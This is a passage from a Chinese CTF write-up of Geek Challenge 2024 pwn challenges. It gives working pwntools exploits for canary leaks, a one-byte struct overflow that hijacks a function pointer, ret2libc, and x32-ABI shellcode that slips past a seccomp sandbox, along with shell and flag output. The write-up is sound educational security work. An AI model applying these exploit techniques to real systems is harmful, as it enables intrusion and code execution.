canary = u64(io.recv(7).rjust(8, b'\x00'))
log.info('canary:' + hex(canary))
#orw
shellcode = asm(shellcraft.cat('/flag'))
ret = 0x4012A7
payload = cyclic(4) + p64(canary) + cyclic(8) + p64(ret) + shellcode
io.send(payload)
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 23787: Done
[*] canary:0xe4ec8e50160eec00
[*] Switching to interactive mode
give me your id
Great!now you can do what you want!
SYC{c1294a55-0d33-4588-9221-2ce25293f5cd}
struct one byte
涉及知识点:结构体内存排布,partial overwrite
先查保护
$ checksec struct
[*] '/ctf/work/Geek2024/Pwn/struct/struct'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
全保护,有点哈人,正常流程肯定要先泄露canary,再泄露一个函数真实地址才能做。这道题肯定涉及结构体,我们先看看ida
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init();
puts("not a heap!!! not a heap !!! not a heap!!!");
while ( 1 )
{
v3 = 0;
puts("1.add player\n2.player work\n3. change player info: ");
__isoc99_scanf("%d", &v3);
while ( getchar() != 10 )
;
if ( v3 == 4 )
{
gift(); // leak printf address-->libc_base
}
else if ( v3 <= 4 )
{
switch ( v3 )
{
case 3:
edit_name();
break;
case 1:
add_player();
break;
case 2:
work();
break;
}
}
}
}
菜单题,实现了四个功能。gift()
,edit_name()
,add_player()
,work()
这题得先修结构体,这里直接给出分析得到的结构体样式
struct player
{
__int64 name_size;
char name[16];
__int64 func_ptr;
char info[32];
};
再来分析各个函数
int gift()
{
puts("gift");
return printf("addr:%p\n", &printf);
}
gift()
泄露了libc的基地址,也就绕过了PIE
unsigned __int64 edit_name()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("input index:");
__isoc99_scanf("%d", &v1);
clear();
if ( Used[v1] )
{
puts("name :");
read(0, &players.name[64 * v1], *(&players.name_size + 8 * v1));
}
else
{
puts("not used");
}
return __readfsqword(0x28u) ^ v2;
}
这个函数去编辑新建的player
结构体的name
unsigned __int64 add_player()
{
char *v0; // rcx
__int64 v1; // rdx
char *v2; // rax
__int64 v3; // rbx
__int64 v4; // rbx
unsigned int v6; // [rsp+8h] [rbp-58h] BYREF
int v7; // [rsp+Ch] [rbp-54h] BYREF
__int64 buf[2]; // [rsp+10h] [rbp-50h] BYREF
__int64 v9[4]; // [rsp+20h] [rbp-40h] BYREF
char v10; // [rsp+40h] [rbp-20h]
unsigned __int64 v11; // [rsp+48h] [rbp-18h]
v11 = __readfsqword(0x28u);
puts("Index:");
__isoc99_scanf("%d", &v6);
while ( getchar() != 10 )
;
if ( v6 < 0x10 )
{
if ( Used[v6] )
{
puts("already used\n");
}
else
{
puts("player Position:\n1. tecaher \n2. students\n> ");
__isoc99_scanf("%d", &v7);
clear();
if ( v7 == 1 )
{
*&players.name[64 * v6 + 16] = tacher;
}
else if ( v7 == 2 )
{
*&players.name[64 * v6 + 16] = student;
}
else
{
puts("out of range\n");
}
puts("name :");
read(0, buf, 0x10uLL);
v0 = &players.name[64 * v6];
v1 = buf[1];
*v0 = buf[0];
*(v0 + 1) = v1;
puts("info :");
read(0, v9, 0x21uLL);
v2 = &players.info[64 * v6];
v3 = v9[1];
*v2 = v9[0];
*(v2 + 1) = v3;
v4 = v9[3];
*(v2 + 2) = v9[2];
*(v2 + 3) = v4;
v2[32] = v10;
*(&players.name_size + 8 * v6) = 16LL;
Used[v6] = 1;
}
}
else
{
puts("out of range\n");
}
return __readfsqword(0x28u) ^ v11;
}
这个函数会添加一个结构体变量,先判断是teacher
还是student
,其实都没差,接下来是赋值环节,这里是重点
puts("name :");
read(0, buf, 0x10uLL);
v0 = &players.name[64 * v6];
v1 = buf[1];
*v0 = buf[0];
*(v0 + 1) = v1;
name
占0x10
字节
read(0, v9, 0x21uLL);
v2 = &players.info[64 * v6];
v3 = v9[1];
*v2 = v9[0];
*(v2 + 1) = v3;
v4 = v9[3];
*(v2 + 2) = v9[2];
*(v2 + 3) = v4;
v2[32] = v10;
*(&players.name_size + 8 * v6) = 16LL;
这里写得比较乱,但是关键点在于info
在赋值的时候read(0, v9, 0x21uLL);
多了一字节,info
是0x20
字节,且是最后一个成员变量,这溢出的一个字节可以去修改下一个结构体的成员变量
可以通过调试看一下
第一次add,我们创建一个student结构体 使用cyclic(0x10)
生成字符串输入进去,我们看看player的内存排布
pwndbg> x/40gx $rip + 0x2c23
0x55555555809d <players+29>: 0x0000000000000000 0x0000000000000000
0x5555555580ad <players+45>: 0x0000000000000000 0x0000000000000000
0x5555555580bd <players+61>: 0x0000000000000000 0x6161616161000000
0x5555555580cd <players+77>: 0x6161616162616161 0x5555555230616161
0x5555555580dd <players+93>: 0x0000000000000055 0x0000000000000000
0x5555555580ed <players+109>: 0x0000000000000000 0x0000000000000000
0x5555555580fd <players+125>: 0x0000000000000000 0x0000000000000000
0x55555555810d <players+141>: 0x0000000000000000 0x0000000000000000
0x55555555811d <players+157>: 0x0000000000000000 0x0000000000000000
0x55555555812d <players+173>: 0x0000000000000000 0x0000000000000000
0x55555555813d <players+189>: 0x0000000000000000 0x0000000000000000
0x55555555814d <players+205>: 0x0000000000000000 0x0000000000000000
0x55555555815d <players+221>: 0x0000000000000000 0x0000000000000000
0x55555555816d <players+237>: 0x0000000000000000 0x0000000000000000
0x55555555817d <players+253>: 0x0000000000000000 0x0000000000000000
0x55555555818d <players+269>: 0x0000000000000000 0x0000000000000000
0x55555555819d <players+285>: 0x0000000000000000 0x0000000000000000
0x5555555581ad <players+301>: 0x0000000000000000 0x0000000000000000
0x5555555581bd <players+317>: 0x0000000000000000 0x0000000000000000
0x5555555581cd <players+333>: 0x0000000000000000 0x0000000000000000
可以看到80bd到80cd的地方存着我们输入的字符串aaaaaaaabaaaaaaa
,接下来读入info
,我们同样用cyclic生成一串字符串aaaaaaaabaaaaaaacaaaaaaadaaaaaaa
pwndbg> x/40gx 0x55555555809d
0x55555555809d <players+29>: 0x0000000000000000 0x0000000000000000
0x5555555580ad <players+45>: 0x0000000000000000 0x0000000000000000
0x5555555580bd <players+61>: 0x0000000010000000 0x6161616161000000
0x5555555580cd <players+77>: 0x6161616162616161 0x5555555230616161
0x5555555580dd <players+93>: 0x6161616161000055 0x6161616162616161
0x5555555580ed <players+109>: 0x6161616163616161 0x6161616164616161
0x5555555580fd <players+125>: 0x000000000a616161 0x0000000000000000
0x55555555810d <players+141>: 0x0000000000000000 0x0000000000000000
0x55555555811d <players+157>: 0x0000000000000000 0x0000000000000000
0x55555555812d <players+173>: 0x0000000000000000 0x0000000000000000
0x55555555813d <players+189>: 0x0000000000000000 0x0000000000000000
0x55555555814d <players+205>: 0x0000000000000000 0x0000000000000000
0x55555555815d <players+221>: 0x0000000000000000 0x0000000000000000
0x55555555816d <players+237>: 0x0000000000000000 0x0000000000000000
0x55555555817d <players+253>: 0x0000000000000000 0x0000000000000000
0x55555555818d <players+269>: 0x0000000000000000 0x0000000000000000
0x55555555819d <players+285>: 0x0000000000000000 0x0000000000000000
0x5555555581ad <players+301>: 0x0000000000000000 0x0000000000000000
0x5555555581bd <players+317>: 0x0000000000000000 0x0000000000000000
0x5555555581cd <players+333>: 0x0000000000000000 0x0000000000000000
我们再回顾一下结构体的样式
struct player
{
__int64 name_size;
char name[16];
__int64 func_ptr;
char info[32];
};
0x0000000010
这里是name size
,依次往后是name
,然后是一个函数指针0x5555555230
,即为func_ptr
,然后是info
,我们再创建一个结构体看看。
pwndbg> x/40gx 0x55555555809d
0x55555555809d <players+29>: 0x0000000000000000 0x0000000000000000
0x5555555580ad <players+45>: 0x0000000000000000 0x0000000000000000
0x5555555580bd <players+61>: 0x0000000010000000 0x6161616161000000
0x5555555580cd <players+77>: 0x6161616162616161 0x5555555230616161
0x5555555580dd <players+93>: 0x6161616161000055 0x6161616162616161
0x5555555580ed <players+109>: 0x6161616163616161 0x6161616164616161
0x5555555580fd <players+125>: 0x000000000a616161 0x6161616161000000
0x55555555810d <players+141>: 0x6161616162616161 0x5555555230616161
0x55555555811d <players+157>: 0x0000000000000055 0x0000000000000000
0x55555555812d <players+173>: 0x0000000000000000 0x0000000000000000
0x55555555813d <players+189>: 0x0000000000000000 0x0000000000000000
0x55555555814d <players+205>: 0x0000000000000000 0x0000000000000000
0x55555555815d <players+221>: 0x0000000000000000 0x0000000000000000
0x55555555816d <players+237>: 0x0000000000000000 0x0000000000000000
0x55555555817d <players+253>: 0x0000000000000000 0x0000000000000000
0x55555555818d <players+269>: 0x0000000000000000 0x0000000000000000
0x55555555819d <players+285>: 0x0000000000000000 0x0000000000000000
0x5555555581ad <players+301>: 0x0000000000000000 0x0000000000000000
0x5555555581bd <players+317>: 0x0000000000000000 0x0000000000000000
0x5555555581cd <players+333>: 0x0000000000000000 0x0000000000000000
可以看到我们创建了一个新的结构体,但是原本的name_size
处的10
被上一个结构体越界修改为了0a
,就是我们刚刚读入info
时额外读入的换行符,也就是说,我们可以通过一字节越界写控制下一个结构体的name
读入的长度,去修改func_ptr
部分,怎么利用呢?我们看一下work函数。
unsigned __int64 work()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("input index:");
__isoc99_scanf("%u", &v1);
clear();
if ( Used[v1] )
(*&players.name[64 * v1 + 16])(&players.name[64 * v1], &players.info[64 * v1]);
else
puts("not used");
return __readfsqword(0x28u) ^ v2;
}
如果有值,就执行一下。
同时存在后门函数
int backdoor()
{
puts("backdoor");
return system("/bin/sh");
}
那么这道题思路就呼之欲出了。先通过add_player()
创建一个结构体,写入info
时控制最后一个字节为大数,再添加一个结构体,使得下一个结构体的name_size
被覆盖为我们控制的内容,再调用edit_name()
溢出写func_ptr
,改为backdoor()
的地址,触发work()
即可。
EXP
from pwn import *
context(arch='amd64', os='linux', log_level='info', terminal=['tmux','splitw','-h'])
def debug():
gdb.attach(io)
pause()
#IO part
##io = process('./struct')
io = remote('nc1.ctfplus.cn', 27963)
libc = ELF('./libc-2.31.so')
elf = ELF('./struct')
#init menu
def menu(index):
io.recvuntil(b'3. change player info: \n')
io.sendline(str(index).encode())
def add(index,name,info,choice=1):
menu(1)
io.recvuntil(b'Index:\n')
io.sendline(str(index).encode())
io.recvuntil(b'player Position:\n1. tecaher \n2. students\n> \n')
io.sendline(str(choice).encode())
io.recvuntil(b'name :\n')
io.send(name)
io.recvuntil(b'info :\n')
io.send(info)
log.success(f"Added index {index} user success!")
def work(index):
menu(2)
io.recvuntil(b'input index:\n')
io.sendline(str(index).encode())
def edit(index,name):
menu(3)
io.recvuntil(b'input index:\n')
io.sendline(str(index).encode())
io.recvuntil(b'name :\n')
io.send(name)
log.success(f'Success edited index {index} user!')
def gift():
menu(4)
io.recvuntil(b'gift\n')
return io.recvline()
#leak libc
log.info("Receiving gift...")
printf_addr = int(gift()[5:-1].decode(),16)
libc_base = printf_addr - libc.sym['printf']
system_addr = libc_base + libc.sym['system']
log.success(f"Success leak libc: {hex(libc_base)}")
#Get shell
add(1,b"/bin/sh\x00",b"\xff"*0x20)
add(0,b"/bin/sh\x00",b"\xff"*0x21)
edit(1,b"/bin/sh\x00".ljust(0x10,b"a")+p64(system_addr))
work(1)
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 27963: Done
[*] '/ctf/work/Geek2024/Pwn/struct/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/work/Geek2024/Pwn/struct/struct'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Receiving gift...
[+] Success leak libc: 0x7f5bdd93a000
[+] Added index 1 user success!
[+] Added index 0 user success!
[+] Success edited index 1 user!
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib32
lib64
libx32
struct
$ cat flag
SYC{4b861366-e159-44cb-b1ed-22202e75ef54}
学校的烂电梯pro
涉及知识点;栈排布,未初始化的内存,ret2libc
Geek Challenge 2023的一道elevator和此题思路大致相同。
查下保护
$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯pro/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'./libc.so.6'
存在canary,有溢出需要先泄露canary
然后是ida的反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
init_func(argc, argv, envp);
puts("Welcome to 2024 Geek pwn channel!");
puts("This is a elevator");
take_elevator();
puts("Thanks for using our service, have a nice day!");
return 0;
}
主要逻辑在take_elevator()
unsigned __int64 take_elevator()
{
int v1[11]; // [rsp+Ch] [rbp-34h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("how many floors do you want to go?");
__isoc99_scanf("%d", v1);
data = 8 * v1[0];
broken();
return __readfsqword(0x28u) ^ v2;
}
这里用到了data
,但后续并没有调用这个变量,我们看看汇编。
mov cs:data, eax
sub rsp, 4040ACh
mov eax, 0
在0x4040AC
中存放着data
.bss:00000000004040AC data dd ? ; DATA XREF: take_elevator+4A↑w
和Plus那题是一样的,进行了抬栈操作
unsigned __int64 broken()
{
double v1; // [rsp+8h] [rbp-38h] BYREF
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("oh , the elevator maybe broken\n");
printf("but you can call phone to rescue you\n");
ask_phone(&v1);
printf("you call the number is %lf\n", v1);
printf("you have be saved, please send a message to thanks for the man!!\n");
read(0, buf, 0x100uLL);
return __readfsqword(0x28u) ^ v3;
}
可以看到存在溢出,那么此题就需要泄露canary了。此题只有一个printf("%lf")
的输出点,肯定是要用这个来泄露canary,我们看看ask_phone()
__int64 __fastcall ask_phone(__int64 a1)
{
printf("which one you want to call?");
__isoc99_scanf("%lf", a1);
return readuntil(10LL);
}
这里输入了一个double float
后续也打印double float
,显然我们要利用这个v1
来泄露canary,看看栈排布。
-0000000000000038 var_38 dq ?
-0000000000000030 buf db 40 dup(?)
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
显然我们可以利用未初始化的内存漏洞。在调用内部函数时系统会往栈上读入canary,而在后续的程序执行流中,这些canary没有被销毁,自然在我们调用这个ask_phone()
之前,栈上低地址有残留的canary数据,我们只需要抬高rsp
,使得rsp
与栈上残留的canary对齐,就可以用后面的printf()
将它打印出来(有时候canary没有浮点表示形式,需要多试几次)
此处利用该漏洞的重点是:scanf()
不一定会成功,如果我们输入\x00
那么scanf不会读入任何数据。
抬高28个字长即可。
EXP
from pwn import *
context(arch='amd64',os='linux',log_level='info',terminal=['tmux','splitw','-h'])
def debug():
gdb.attach(io)
pause()
while True:
#IO
##io = process('./pwn')
io = remote('nc1.ctfplus.cn', 43829)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
#Try to leak canary as float
log.info("Trying to leak canary...")
io.sendlineafter(b'how many floors do you want to go?', str(28).encode())
io.sendlineafter(b'which one you want to call?', b'\x00')
io.recvuntil(b'you call the number is ')
response = io.recvuntil(b'\n', drop = True)
rawcanary = float(response)
canary = int(hex(struct.unpack('>Q', struct.pack('>d', rawcanary))[0]), 16)
if canary == 0x0 or canary == 0x8000000000000000:
io.close()
continue
else:
log.success(f"Success to leak canary ==> {hex(canary)}")
break
#init
pop_rdi = 0x4014c3
ret_addr = 0x40101a
read_addr = 0x401292
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#leak libc
log.info("Trying to leak libcbase...")
io.recvuntil(b'you have be saved, please send a message to thanks for the man!!\n')
payleak = cyclic(0x28) + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
io.send(payleak)
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
log.success(f"Success to leak libc ==> {hex(libc_base)}")
#Get shell
log.info("Trying to Getshell!")
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
log.success(f"sysyem address ==> {hex(system_addr)}")
log.success(f"/bin/sh address ==> {hex(binsh_addr)}")
io.sendline(str(1).encode())
io.recvuntil(b'you have be saved, please send a message to thanks for the man!!\n')
payload = cyclic(0x28) + p64(canary) + p64(0xdeadbeef) + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.send(payload)
log.success("Success to GetShell!!!")
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 43829: Done
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯pro/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯pro/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'./libc.so.6'
[*] Trying to leak canary...
[+] Success to leak canary ==> 0x668e332912626e00
[*] Trying to leak libcbase...
[+] Success to leak libc ==> 0x7fa1e21c2000
[*] Trying to Getshell!
[+] sysyem address ==> 0x7fa1e2214290
[+] /bin/sh address ==> 0x7fa1e23765bd
[+] Success to GetShell!!!
[*] Switching to interactive mode
$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
libx32
pwn
$ cat flag
flag{f855add4-b841-471a-ba8f-d4b6e43cb941}
hard_orw
涉及知识点:x32ABI下的orwshellcode
拿到题查下保护
$ checksec sandbox
[*] '/ctf/work/Geek2024/Pwn/hard_orw/sandbox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
基本没有,打开ida看看反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[4]; // [rsp+0h] [rbp-10h] BYREF
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
void *s; // [rsp+8h] [rbp-8h]
init(argc, argv, envp);
puts("Please input your id");
read(0, buf, 4uLL);
puts("Please input your age");
read(0, v4, 4uLL);
puts("Perhaps you should learn \"ret\" and \"fd\" first");
s = (void *)(int)mmap((void *)0x405000, 0x1000uLL, 7, 34, -1, 0LL);
memset(s, 144, 0x1000uLL);
sandbox();
read(0, (void *)0x405000, 4uLL);
((void (*)(void))s)();
return 0;
}
有沙盒,我们用工具看看。
$ seccomp-tools dump ./sandbox
Please input your id
1
Please input your age
1
Perhaps you should learn "ret" and "fd" first
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x16 0x00 0x000001b5 if (A == 0x1b5) goto 0024
0002: 0x15 0x15 0x00 0x00000147 if (A == preadv2) goto 0024
0003: 0x15 0x14 0x00 0x00000128 if (A == pwritev) goto 0024
0004: 0x15 0x13 0x00 0x00000101 if (A == openat) goto 0024
0005: 0x15 0x12 0x00 0x0000016e if (A == 0x16e) goto 0024
0006: 0x15 0x11 0x00 0x0000016d if (A == 0x16d) goto 0024
0007: 0x15 0x10 0x00 0x0000016a if (A == 0x16a) goto 0024
0008: 0x15 0x0f 0x00 0x00000155 if (A == 0x155) goto 0024
0009: 0x15 0x0e 0x00 0x00000154 if (A == 0x154) goto 0024
0010: 0x15 0x0d 0x00 0x00000001 if (A == write) goto 0024
0011: 0x15 0x0c 0x00 0x00000002 if (A == open) goto 0024
0012: 0x15 0x0b 0x00 0x00000011 if (A == pread64) goto 0024
0013: 0x15 0x0a 0x00 0x00000012 if (A == pwrite64) goto 0024
0014: 0x15 0x09 0x00 0x00000013 if (A == readv) goto 0024
0015: 0x15 0x08 0x00 0x00000014 if (A == writev) goto 0024
0016: 0x15 0x07 0x00 0x00000001 if (A == write) goto 0024
0017: 0x15 0x06 0x00 0x0000002c if (A == sendto) goto 0024
0018: 0x15 0x05 0x00 0x0000002e if (A == sendmsg) goto 0024
0019: 0x15 0x04 0x00 0x0000003b if (A == execve) goto 0024
0020: 0x15 0x03 0x00 0x00000142 if (A == execveat) goto 0024
0021: 0x15 0x02 0x00 0x00000148 if (A == pwritev2) goto 0024
0022: 0x15 0x01 0x00 0x00000149 if (A == pkey_mprotect) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
666能禁的基本全禁了。看似束手无策,实际上我们对比一下之前的一道orw不难发现它没有检查架构,即:
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
不检查架构,那么我们就可以转入32位下执行orw,或者直接调用x32 ABI。(此处不限制系统调用号)
x32 ABI是ABI (Application Binary Interface),同样也是linux系统内核接口之一。x32 ABI允许在64位架构下(包括指令集、寄存器等)使用32位指针,从而避免64位指针造成的额外开销,提升程序性能。然而,除跑分、嵌入式场景外,x32 ABI的使用寥寥无几。前几年曾有过弃用x32 ABI的讨论,但其被最终决定保留,并在linux kernel中保留至今。
如果需要进入32位模式,需要使CS寄存器的值为0x23。retf
指令可以帮我们做到这一点(相当于pop ip ; pop cs
)
这里展示使用ABI的解法。
解决了系统调用的问题,我们还有一个问题有待商榷。
read(0, (void *)0x405000, 4uLL);
在读入shellcode时只开放了4字节!显然是不够的,这时我们可以考虑下中断
在这个read()
处输入\x0f\x05
(syscall
),然后转入执行,这时由于之前执行过一次read,那么rdi
为0,rsi
为shellcode地址,rdx
变为一个大数,那么我们直接执行syscall又会read一次,这样可以在shellcode进行拓展写了。
可以写个脚本调一下
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux','splitw','-h'])
def debug():
gdb.attach(io)
pause()
#IO
io = process('./sandbox')
syscall = b'\x0f\x05'
io.sendlineafter(b'Please input your id\n', str(1).encode())
io.sendlineafter(b'Please input your age\n', str(1).encode())
io.recvuntil(b'Perhaps you should learn \"ret\" and \"fd\" first\n')
debug()
io.send(syscall)
io.interactive()
0x000000000040160d in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────
*RAX 0x0
RBX 0x0
RCX 0x7fbf5fdbf992 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x405000 ◂— syscall /* 0x909090909090050f */
RDI 0x0
RSI 0x405000 ◂— syscall /* 0x909090909090050f */
R8 0x0
R9 0x0
R10 0x7fbf5fdd1531 (prctl+81) ◂— cmp rax, -0x1000 /* 'H=' */
R11 0x246
R12 0x7ffe2798d258 —▸ 0x7ffe2798e77b ◂— './sandbox'
R13 0x40152b (main) ◂— endbr64
R14 0x0
R15 0x7fbf5ff15040 (_rtld_global) —▸ 0x7fbf5ff162e0 ◂— 0x0
RBP 0x7ffe2798d140 ◂— 0x1
RSP 0x7ffe2798d130 ◂— 0xa3100000a31 /* '1\n' */
*RIP 0x40160d (main+226) ◂— call rdx
──────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────
0x401604 <main+217> mov rdx, qword ptr [rbp - 8]
0x401608 <main+221> mov eax, 0
► 0x40160d <main+226> call rdx <0x405000>
0x40160f <main+228> mov eax, 0
0x401614 <main+233> leave
0x401615 <main+234> ret
0x401616 nop word ptr cs:[rax + rax]
0x401620 <__libc_csu_init> endbr64
0x401624 <__libc_csu_init+4> push r15
0x401626 <__libc_csu_init+6> lea r15, [rip + 0x27e3] <__init_array_start>
0x40162d <__libc_csu_init+13> push r14
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7ffe2798d130 ◂— 0xa3100000a31 /* '1\n' */
01:0008│ 0x7ffe2798d138 —▸ 0x405000 ◂— syscall /* 0x909090909090050f */
02:0010│ rbp 0x7ffe2798d140 ◂— 0x1
03:0018│ 0x7ffe2798d148 —▸ 0x7fbf5fcd4d90 (__libc_start_call_main+128) ◂— mov edi, eax
04:0020│ 0x7ffe2798d150 ◂— 0x0
05:0028│ 0x7ffe2798d158 —▸ 0x40152b (main) ◂— endbr64
06:0030│ 0x7ffe2798d160 ◂— 0x12798d240
07:0038│ 0x7ffe2798d168 —▸ 0x7ffe2798d258 —▸ 0x7ffe2798e77b ◂— './sandbox'
──────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
► 0 0x40160d main+226
1 0x7fbf5fcd4d90 __libc_start_call_main+128
2 0x7fbf5fcd4e40 __libc_start_main+128
────────────────────────────────────────────────────────────────────────────────────────
可以看到此时rdx为大数,那么直接拓展写32ABI orwshellcode即可。
EXP
from pwn import *
context(arch='amd64', os='linux', log_level='info', terminal=['tmux','splitw','-h'])
def debug():
gdb.attach(io)
pause()
#IO
io = remote('nc1.ctfplus.cn', 33930)
#shellcode
shellcode = asm(
'''
mov eax,0x67616c66
push rax
mov rdi,rsp
xor rsi,rsi
mov rax,0x40000002
syscall
mov rdi,rax
mov rax,rsp
add rax,0x100
mov rsi,rax
mov rdx,0x40
mov rax,0x40000000
syscall
mov edi,2
mov rax,0x40000001
syscall
'''
)
#ret2orw
nop = b'\x90\x90'
syscall = b'\x0f\x05'
payload = nop + shellcode
io.sendlineafter(b'Please input your id\n', str(1).encode())
io.sendlineafter(b'Please input your age\n', str(1).encode())
io.recvuntil(b'Perhaps you should learn \"ret\" and \"fd\" first\n')
io.send(syscall)
sleep(0.2)
io.send(payload)
print(io.recvall())
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 33930: Done
[+] Receiving all data: Done (64B)
[*] Closed connection to nc1.ctfplus.cn port 33930
b'SYC{d2071d34-6205-4bfa-8de5-175b8f2cca2e}\n0\xf8\xfd\x7f\x00\x00\x1d\xb10\xf8\xfd\x7f\x00\x00]\xb10\xf8\xfd\x7f\x00\x00'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
stdout
涉及知识点:全缓冲机制,ret2libc
,partical overwrite
查下保护
$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/stdout/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开了PIE,先想办法泄露程序基地址。我们看看ida的反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
init(argc, argv, envp);
printf("Welocme,");
puts("hello!?");
gift();
v3 = strlen(out);
write(1, out, v3);
vuln();
return 0;
}
这道题提示与缓冲机制有关,所以我们先看看init()
函数
注意这里运行后发现write(1, out, v3);
是可以正常输出的
__int64 init()
{
__int64 result; // rax
result = FLAG;
if ( FLAG )
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, buf, 0, 0x1000uLL);
return --FLAG;
}
return result;
}
标准输出是全缓冲,也就是缓冲区满0x1000才会输出到屏幕上。这也就是题目所说的缓冲机制有点问题
接着往下看
__int64 gift()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
if ( FLAG == 1 )
{
read(0, buf, 0x50uLL);
puts(buf);
FLAG = 0LL;
}
return 0LL;
}
gift()
写0x50到buf
,也是全缓冲机制的缓冲区,然后又把未初始化的buf
变量直接写出来,相当于有了栈基址。不过0x50显然远远不够,得想办法填满0x1000的缓冲区
ssize_t vuln()
{
char s[64]; // [rsp+0h] [rbp-40h] BYREF
puts("Why can't you see me?!");
memset(s, 0, sizeof(s));
return read(0, s, 0x60uLL);
}
vuln()
这里存在0x20
的栈溢出,可以打基本ROP了,但是得先泄露基地址。
漏洞分析完了,最主要的问题就是如何填满0x1000的缓冲区?我们必须要填满缓冲区才能让程序输出内容,之后才能绕过PIE。
这道题实际考察了绕过PIE的一个小技巧,也就是之前经常会用到的partial overwrite
。在PIE开启后,程序地址随机化,但我们仅可以控制程序最低一字节的执行流。
有什么用呢?我们可以控制执行流到那个关键函数gift()
pwndbg> x/40i $rip
=> 0x555555555329 <main>: endbr64
0x55555555532d <main+4>: push rbp
0x55555555532e <main+5>: mov rbp,rsp
0x555555555331 <main+8>: mov eax,0x0
0x555555555336 <main+13>: call 0x555555555209 <init>
0x55555555533b <main+18>: lea rdi,[rip+0xcd9] # 0x55555555601b
0x555555555342 <main+25>: mov eax,0x0
0x555555555347 <main+30>: call 0x5555555550e0 <printf@plt>
0x55555555534c <main+35>: lea rdi,[rip+0xcd1] # 0x555555556024
0x555555555353 <main+42>: call 0x5555555550b0 <puts@plt>
0x555555555358 <main+47>: mov eax,0x0
0x55555555535d <main+52>: call 0x55555555528e <gift>
0x555555555362 <main+57>: lea rdi,[rip+0x2caf] # 0x555555558018 <_out>
0x555555555369 <main+64>: call 0x5555555550d0 <strlen@plt>
0x55555555536e <main+69>: mov rdx,rax
0x555555555371 <main+72>: lea rsi,[rip+0x2ca0] # 0x555555558018 <_out>
0x555555555378 <main+79>: mov edi,0x1
0x55555555537d <main+84>: call 0x5555555550c0 <write@plt>
0x555555555382 <main+89>: mov eax,0x0
0x555555555387 <main+94>: call 0x5555555552e2 <vuln>
0x55555555538c <main+99>: mov eax,0x0
0x555555555391 <main+104>: pop rbp
0x555555555392 <main+105>: ret
已知在程序执行到vuln()
时可以控制程序部分执行流,可见gift()
与vuln()
相距不远,我们可以直接改回程序开始去不断执行gift()
。这样循环往复,可以重复向buf写0x50 + 0x8
的数据,直到缓冲区被填满,我们需要的信息自然就被输出出来了。
此外,由于在vuln()
函数执行后刚结束就返回到write()
